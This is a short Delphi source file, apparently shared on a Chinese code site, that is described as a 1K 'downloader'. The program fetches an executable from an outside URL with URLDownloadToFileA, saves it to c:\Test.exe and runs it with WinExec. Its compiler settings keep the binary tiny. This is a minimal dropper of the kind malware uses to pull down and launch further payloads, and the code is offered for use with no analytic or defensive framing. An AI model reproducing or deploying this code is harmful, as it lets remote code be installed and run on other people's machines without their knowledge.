webdown.dpr

来自「delphi编写1K的下载者,装了D7后,直接运行那个BAT文件,就可以运行了」· DPR 代码 · 共 22 行

{$A+,B-,C-,D-,E-,F-,G+,H+,I-,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}

program MiniDExe;
type
  TFNURLDownloadToFile=function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;

  TFNWinExec=function (lpCmdLine:Pchar; uCmdShow: LongWord): LongWord; stdcall;
const
   SW_HIDE = 0;
   SW_SHOW = 5;
begin
  TFNURLDownloadToFile(GetProcAddress(HUrlMonLib, 'URLDownloadToFileA'))
      (nil, 'http://www.138soft.com/bintext.exe', 'c:\Test.exe', 0, nil);

  TFNWinExec(GetProcAddress(HKernel32, 'WinExec'))
    ('c:\Test.exe', SW_SHOW);
end.